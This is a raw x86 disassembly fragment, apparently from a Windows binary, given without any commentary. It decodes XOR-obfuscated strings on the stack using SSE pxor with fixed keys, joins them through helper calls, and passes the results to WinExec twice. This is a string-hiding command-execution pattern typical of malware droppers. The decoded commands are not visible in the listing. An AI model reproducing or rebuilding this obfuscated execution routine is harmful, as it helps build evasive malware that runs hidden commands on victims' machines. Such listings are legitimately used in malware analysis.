mov dword [ebp - 0xacc], 0x7e659285
mov eax, dword [ebp - 0xad0]
mov dword [ebp - 0xbd0], eax
mov ecx, dword [ebp - 0xacc]
mov dword [ebp - 0xbcc], ecx
mov dword [ebp - 0xad8], 0xae066fc6
mov dword [ebp - 0xad4], 0x1bb3bb0e
mov edx, dword [ebp - 0xad8]
mov dword [ebp - 0xbc8], edx
mov eax, dword [ebp - 0xad4]
mov dword [ebp - 0xbc4], eax
lea ecx, [ebp - 0xbd0]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0xdc8]
mov dword [ebp - 0x81c], edx
mov dword [ebp - 0x3d0], 0xf76d0651
mov dword [ebp - 0x3cc], 0x7e47b2f7
mov dword [ebp - 0x3c8], 0xae066fc6
mov dword [ebp - 0x3c4], 0x1bb3bb0e
xor eax, eax
mov byte [ebp - 0x56b], al
mov cl, byte [ebp - 0x56b]
mov byte [ebp - 0x6ac], cl
movaps xmm0, xmmword [ebp - 0x3d0]
movaps xmmword [ebp - 0x10b0], xmm0
mov edx, dword [ebp - 0x76c]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x10a0], xmm0
movaps xmm0, xmmword [ebp - 0x10a0]
pxor xmm0, xmmword [ebp - 0x10b0]
movaps xmmword [ebp - 0x10c0], xmm0
movaps xmm0, xmmword [ebp - 0x10c0]
mov eax, dword [ebp - 0x76c]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x76c]
mov dword [ebp - 0x81c], ecx
lea edx, [ebp - 0x110]
push edx
lea ecx, [ebp - 0x1410]
call fcn.00401810
mov dword [ebp - 0x884], eax
mov al, byte [ebp - 0x56c]
mov byte [ebp - 0x6b0], al
mov cl, byte [ebp - 0x56d]
mov byte [ebp - 0x6b4], cl
mov dl, byte [ebp - 0x56e]
mov byte [ebp - 0x6b8], dl
mov dword [ebp - 0xae0], 0x83056522
mov dword [ebp - 0xadc], 0xd2cc196
mov eax, dword [ebp - 0xae0]
mov dword [ebp - 0xcb0], eax
mov ecx, dword [ebp - 0xadc]
mov dword [ebp - 0xcac], ecx
mov dword [ebp - 0xae8], 0xdc6540e6
mov dword [ebp - 0xae4], 0x7ec7da6b
mov edx, dword [ebp - 0xae8]
mov dword [ebp - 0xca8], edx
mov eax, dword [ebp - 0xae4]
mov dword [ebp - 0xca4], eax
mov dword [ebp - 0xaf0], 0xa6e355e3
mov dword [ebp - 0xaec], 0x8e967fee
mov ecx, dword [ebp - 0xaf0]
mov dword [ebp - 0xca0], ecx
mov edx, dword [ebp - 0xaec]
mov dword [ebp - 0xc9c], edx
mov dword [ebp - 0xaf8], 0x705191aa
mov dword [ebp - 0xaf4], 0x154bd0b0
mov eax, dword [ebp - 0xaf8]
mov dword [ebp - 0xc98], eax
mov ecx, dword [ebp - 0xaf4]
mov dword [ebp - 0xc94], ecx
lea edx, [ebp - 0xcb0]
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0x818], eax
mov dword [ebp - 0x3b0], 0xf76d0651
mov dword [ebp - 0x3ac], 0x7e47b2f7
mov dword [ebp - 0x3a8], 0xae066fc6
mov dword [ebp - 0x3a4], 0x1bb3bb0e
mov dword [ebp - 0x3a0], 0x86857ac3
mov dword [ebp - 0x39c], 0xaec32dc1
mov dword [ebp - 0x398], 0x70519188
mov dword [ebp - 0x394], 0x154bd0b0
xor ecx, ecx
mov byte [ebp - 0x56f], cl
mov dl, byte [ebp - 0x56f]
mov byte [ebp - 0x6bc], dl
movaps xmm0, xmmword [ebp - 0x3b0]
movaps xmmword [ebp - 0x10e0], xmm0
mov eax, dword [ebp - 0x590]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x10d0], xmm0
movaps xmm0, xmmword [ebp - 0x10d0]
pxor xmm0, xmmword [ebp - 0x10e0]
movaps xmmword [ebp - 0x10f0], xmm0
movaps xmm0, xmmword [ebp - 0x10f0]
mov ecx, dword [ebp - 0x590]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x590]
add edx, 0x10
mov dword [ebp - 0x814], edx
movaps xmm0, xmmword [ebp - 0x3a0]
movaps xmmword [ebp - 0x1110], xmm0
mov eax, dword [ebp - 0x814]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x1100], xmm0
movaps xmm0, xmmword [ebp - 0x1100]
pxor xmm0, xmmword [ebp - 0x1110]
movaps xmmword [ebp - 0x1120], xmm0
movaps xmm0, xmmword [ebp - 0x1120]
mov ecx, dword [ebp - 0x814]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x590]
mov dword [ebp - 0x818], edx
mov eax, dword [ebp - 0x884]
push eax
mov ecx, dword [ebp - 0x818]
push ecx
lea edx, [ebp - 0x13f8]
push edx
call fcn.004171a0
add esp, 0xc
mov dword [ebp - 0x888], eax
lea eax, [ebp - 0x42c]
push eax
mov ecx, dword [ebp - 0x81c]
push ecx
mov edx, dword [ebp - 0x888]
push edx
lea eax, [ebp - 0x13e0]
push eax
call fcn.00417340
add esp, 0xc
push eax
lea ecx, [ebp - 0x13c8]
push ecx
call fcn.00417400
add esp, 0xc
mov dword [ebp - 0x88c], eax
mov edx, dword [ebp - 0x820]
push edx
mov eax, dword [ebp - 0x88c]
push eax
lea ecx, [ebp - 0x4d4]
push ecx
call fcn.00417340
add esp, 0xc
lea ecx, [ebp - 0x13c8]
call fcn.00401a20
lea ecx, [ebp - 0x13e0]
call fcn.00401a20
lea ecx, [ebp - 0x13f8]
call fcn.00401a20
lea ecx, [ebp - 0x1410]
call fcn.00401a20
lea edx, [ebp - 0x4d4]
mov dword [ebp - 0x770], edx
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x828], eax
mov ecx, dword [ebp - 0x770]
cmp dword [ecx + 0x14], 0x10
jb 0x4144b2
mov dword [ebp - 0x824], 1
jmp 0x4144bc
mov dword [ebp - 0x824], 0
movzx edx, byte [ebp - 0x824]
test edx, edx
je 0x4144e1
mov eax, dword [ebp - 0x770]
mov ecx, dword [eax]
mov dword [ebp - 0x890], ecx
mov edx, dword [ebp - 0x890]
mov dword [ebp - 0x828], edx
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x894], eax
push 0
mov ecx, dword [ebp - 0x894]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
movzx edx, byte [0x45f56c]
test edx, edx
jne 0x414c71
xor eax, eax
mov byte [ebp - 0x570], al
xor ecx, ecx
mov byte [ebp - 0x571], cl
xor edx, edx
mov byte [ebp - 0x572], dl
xor eax, eax
mov byte [ebp - 0x574], al
xor ecx, ecx
mov byte [ebp - 0x575], cl
xor edx, edx
mov byte [ebp - 0x576], dl
xor eax, eax
mov byte [ebp - 0x578], al
xor ecx, ecx
mov byte [ebp - 0x579], cl
xor edx, edx
mov byte [ebp - 0x57a], dl
mov al, byte [ebp - 0x570]
mov byte [ebp - 0x6c0], al
mov cl, byte [ebp - 0x571]
mov byte [ebp - 0x6c4], cl
mov dl, byte [ebp - 0x572]
mov byte [ebp - 0x6c8], dl
mov dword [ebp - 0xb00], 0x83422673
mov dword [ebp - 0xafc], 0x2e659299
mov eax, dword [ebp - 0xb00]
mov dword [ebp - 0xd60], eax
mov ecx, dword [ebp - 0xafc]
mov dword [ebp - 0xd5c], ecx
mov dword [ebp - 0xb08], 0xdc6318a9
mov dword [ebp - 0xb04], 0x6fddd44d
mov edx, dword [ebp - 0xb08]
mov dword [ebp - 0xd58], edx
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 0xd54], eax
mov dword [ebp - 0xb10], 0xa6e915b1
mov dword [ebp - 0xb0c], 0x8ee16a8d
mov ecx, dword [ebp - 0xb10]
mov dword [ebp - 0xd50], ecx
mov edx, dword [ebp - 0xb0c]
mov dword [ebp - 0xd4c], edx
mov dword [ebp - 0xb18], 0x5032e2a7
mov dword [ebp - 0xb14], 0x5a079eff
mov eax, dword [ebp - 0xb18]
mov dword [ebp - 0xd48], eax
mov ecx, dword [ebp - 0xb14]
mov dword [ebp - 0xd44], ecx
mov dword [ebp - 0xb20], 0x78c99d92
mov dword [ebp - 0xb1c], 0x3b1bc554
mov edx, dword [ebp - 0xb20]
mov dword [ebp - 0xd40], edx
mov eax, dword [ebp - 0xb1c]
mov dword [ebp - 0xd3c], eax
mov dword [ebp - 0xb28], 0xe76cf3a2
mov dword [ebp - 0xb24], 0xa4cfa607
mov ecx, dword [ebp - 0xb28]
mov dword [ebp - 0xd38], ecx
mov edx, dword [ebp - 0xb24]
mov dword [ebp - 0xd34], edx
lea eax, [ebp - 0xd60]
mov dword [ebp - 0x58c], eax
mov ecx, dword [ebp - 0xdb8]
mov dword [ebp - 0x840], ecx
mov dword [ebp - 0x310], 0xf76d0651
mov dword [ebp - 0x30c], 0x7e47b2f7
mov dword [ebp - 0x308], 0xae066fc6
mov dword [ebp - 0x304], 0x1bb3bb0e
mov dword [ebp - 0x300], 0x86857ac3
mov dword [ebp - 0x2fc], 0xaec32dc1
mov dword [ebp - 0x2f8], 0x70519188
mov dword [ebp - 0x2f4], 0x154bd0b0
mov dword [ebp - 0x2f0], 0x5887d2d5
mov dword [ebp - 0x2ec], 0x1b77b77b
mov dword [ebp - 0x2e8], 0xaf2bbaea
mov dword [ebp - 0x2e4], 0xa49bf542
xor edx, edx
mov byte [ebp - 0x573], dl
mov al, byte [ebp - 0x573]
mov byte [ebp - 0x6cc], al
movaps xmm0, xmmword [ebp - 0x310]
movaps xmmword [ebp - 0x1140], xmm0
mov ecx, dword [ebp - 0x58c]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x1130], xmm0
movaps xmm0, xmmword [ebp - 0x1130]
pxor xmm0, xmmword [ebp - 0x1140]
movaps xmmword [ebp - 0x1150], xmm0
movaps xmm0, xmmword [ebp - 0x1150]
mov edx, dword [ebp - 0x58c]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x58c]
add eax, 0x10
mov dword [ebp - 0x82c], eax
movaps xmm0, xmmword [ebp - 0x300]
movaps xmmword [ebp - 0x1170], xmm0
mov ecx, dword [ebp - 0x82c]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x1160], xmm0
movaps xmm0, xmmword [ebp - 0x1160]
pxor xmm0, xmmword [ebp - 0x1170]
movaps xmmword [ebp - 0x1180], xmm0
movaps xmm0, xmmword [ebp - 0x1180]
mov edx, dword [ebp - 0x82c]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x58c]
add eax, 0x20
mov dword [ebp - 0x830], eax
movaps xmm0, xmmword [ebp - 0x2f0]
movaps xmmword [ebp - 0x11a0], xmm0
mov ecx, dword [ebp - 0x830]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x1190], xmm0
movaps xmm0, xmmword [ebp - 0x1190]
pxor xmm0, xmmword [ebp - 0x11a0]
movaps xmmword [ebp - 0x11b0], xmm0
movaps xmm0, xmmword [ebp - 0x11b0]
mov edx, dword [ebp - 0x830]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x840], eax
mov cl, byte [ebp - 0x574]
mov byte [ebp - 0x6d0], cl
mov dl, byte [ebp - 0x575]
mov byte [ebp - 0x6d4], dl
mov al, byte [ebp - 0x576]
mov byte [ebp - 0x6d8], al
mov dword [ebp - 0xb30], 0x83422673
mov dword [ebp - 0xb2c], 0x7e659285
mov ecx, dword [ebp - 0xb30]
mov dword [ebp - 0xbf0], ecx
mov edx, dword [ebp - 0xb2c]
mov dword [ebp - 0xbec], edx
mov dword [ebp - 0xb38], 0xae066fc6
mov dword [ebp - 0xb34], 0x1bb3bb0e
mov eax, dword [ebp - 0xb38]
mov dword [ebp - 0xbe8], eax
mov ecx, dword [ebp - 0xb34]
mov dword [ebp - 0xbe4], ecx
lea edx, [ebp - 0xbf0]
mov dword [ebp - 0x774], edx
mov eax, dword [ebp - 0xdb4]
mov dword [ebp - 0x83c], eax
mov dword [ebp - 0x3c0], 0xf76d0651
mov dword [ebp - 0x3bc], 0x7e47b2f7
mov dword [ebp - 0x3b8], 0xae066fc6
mov dword [ebp - 0x3b4], 0x1bb3bb0e
xor ecx, ecx
mov byte [ebp - 0x577], cl
mov dl, byte [ebp - 0x577]
mov byte [ebp - 0x6dc], dl
movaps xmm0, xmmword [ebp - 0x3c0]
movaps xmmword [ebp - 0x11d0], xmm0
mov eax, dword [ebp - 0x774]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x11c0], xmm0
movaps xmm0, xmmword [ebp - 0x11c0]
pxor xmm0, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0x11e0], xmm0
movaps xmm0, xmmword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x774]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x83c], edx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x1470]
call fcn.00401810
mov dword [ebp - 0x898], eax
mov cl, byte [ebp - 0x578]
mov byte [ebp - 0x6e0], cl
mov dl, byte [ebp - 0x579]
mov byte [ebp - 0x6e4], dl
mov al, byte [ebp - 0x57a]
mov byte [ebp - 0x6e8], al
mov dword [ebp - 0xb40], 0x83056522
mov dword [ebp - 0xb3c], 0xd2cc196
mov ecx, dword [ebp - 0xb40]
mov dword [ebp - 0xcd0], ecx
mov edx, dword [ebp - 0xb3c]
mov dword [ebp - 0xccc], edx
mov dword [ebp - 0xb48], 0xdc6540e6
mov dword [ebp - 0xb44], 0x7ec7da6b
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0xcc8], eax
mov ecx, dword [ebp - 0xb44]
mov dword [ebp - 0xcc4], ecx
mov dword [ebp - 0xb50], 0xa6e355e3
mov dword [ebp - 0xb4c], 0x8e967fee
mov edx, dword [ebp - 0xb50]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0xb4c]
mov dword [ebp - 0xcbc], eax
mov dword [ebp - 0xb58], 0x705191aa
mov dword [ebp - 0xb54], 0x154bd0b0
mov ecx, dword [ebp - 0xb58]
mov dword [ebp - 0xcb8], ecx
mov edx, dword [ebp - 0xb54]
mov dword [ebp - 0xcb4], edx
lea eax, [ebp - 0xcd0]
mov dword [ebp - 0x594], eax
mov ecx, dword [ebp - 0xdb0]
mov dword [ebp - 0x838], ecx
mov dword [ebp - 0x390], 0xf76d0651
mov dword [ebp - 0x38c], 0x7e47b2f7
mov dword [ebp - 0x388], 0xae066fc6
mov dword [ebp - 0x384], 0x1bb3bb0e
mov dword [ebp - 0x380], 0x86857ac3
mov dword [ebp - 0x37c], 0xaec32dc1
mov dword [ebp - 0x378], 0x70519188
mov dword [ebp - 0x374], 0x154bd0b0
xor edx, edx
mov byte [ebp - 0x57b], dl
mov al, byte [ebp - 0x57b]
mov byte [ebp - 0x6ec], al
movaps xmm0, xmmword [ebp - 0x390]
movaps xmmword [ebp - 0x1200], xmm0
mov ecx, dword [ebp - 0x594]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x11f0], xmm0
movaps xmm0, xmmword [ebp - 0x11f0]
pxor xmm0, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1210], xmm0
movaps xmm0, xmmword [ebp - 0x1210]
mov edx, dword [ebp - 0x594]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x594]
add eax, 0x10
mov dword [ebp - 0x834], eax
movaps xmm0, xmmword [ebp - 0x380]
movaps xmmword [ebp - 0x1230], xmm0
mov ecx, dword [ebp - 0x834]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x1220], xmm0
movaps xmm0, xmmword [ebp - 0x1220]
pxor xmm0, xmmword [ebp - 0x1230]
movaps xmmword [ebp - 0x1240], xmm0
movaps xmm0, xmmword [ebp - 0x1240]
mov edx, dword [ebp - 0x834]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x838], eax
mov ecx, dword [ebp - 0x898]
push ecx
mov edx, dword [ebp - 0x838]
push edx
lea eax, [ebp - 0x1458]
push eax
call fcn.004171a0
add esp, 0xc
mov dword [ebp - 0x89c], eax
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp - 0x83c]
push edx
mov eax, dword [ebp - 0x89c]
push eax
lea ecx, [ebp - 0x1440]
push ecx
call fcn.00417340
add esp, 0xc
push eax
lea edx, [ebp - 0x1428]
push edx
call fcn.00417400
add esp, 0xc
mov dword [ebp - 0x8a0], eax
mov eax, dword [ebp - 0x840]
push eax
mov ecx, dword [ebp - 0x8a0]
push ecx
lea edx, [ebp - 0x4ec]
push edx
call fcn.00417340
add esp, 0xc
lea ecx, [ebp - 0x1428]
call fcn.00401a20
lea ecx, [ebp - 0x1440]
call fcn.00401a20
lea ecx, [ebp - 0x1458]
call fcn.00401a20
lea ecx, [ebp - 0x1470]
call fcn.00401a20
lea eax, [ebp - 0x4ec]
mov dword [ebp - 0x778], eax
mov ecx, dword [ebp - 0x778]
mov dword [ebp - 0x848], ecx
mov edx, dword [ebp - 0x778]
cmp dword [edx + 0x14], 0x10
jb 0x414c1a
mov dword [ebp - 0x844], 1
jmp 0x414c24
mov dword [ebp - 0x844], 0
movzx eax, byte [ebp - 0x844]
test eax, eax
je 0x414c49
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx]
mov dword [ebp - 0x8a4], edx
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x848], eax
mov ecx, dword [ebp - 0x848]
mov dword [ebp - 0x8a8], ecx
push 0
mov edx, dword [ebp - 0x8a8]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [ebp - 0x4ec]
call fcn.00401a20
jmp 0x414c76
call fcn.004102c0
lea ecx, [ebp - 0x4d4]
call fcn.00401a20
lea ecx, [ebp - 0x42c]
call fcn.00401a20
lea ecx, [ebp - 0x4bc]
call fcn.00401a20
lea ecx, [ebp - 0x444]
call fcn.00401a20
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439348
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10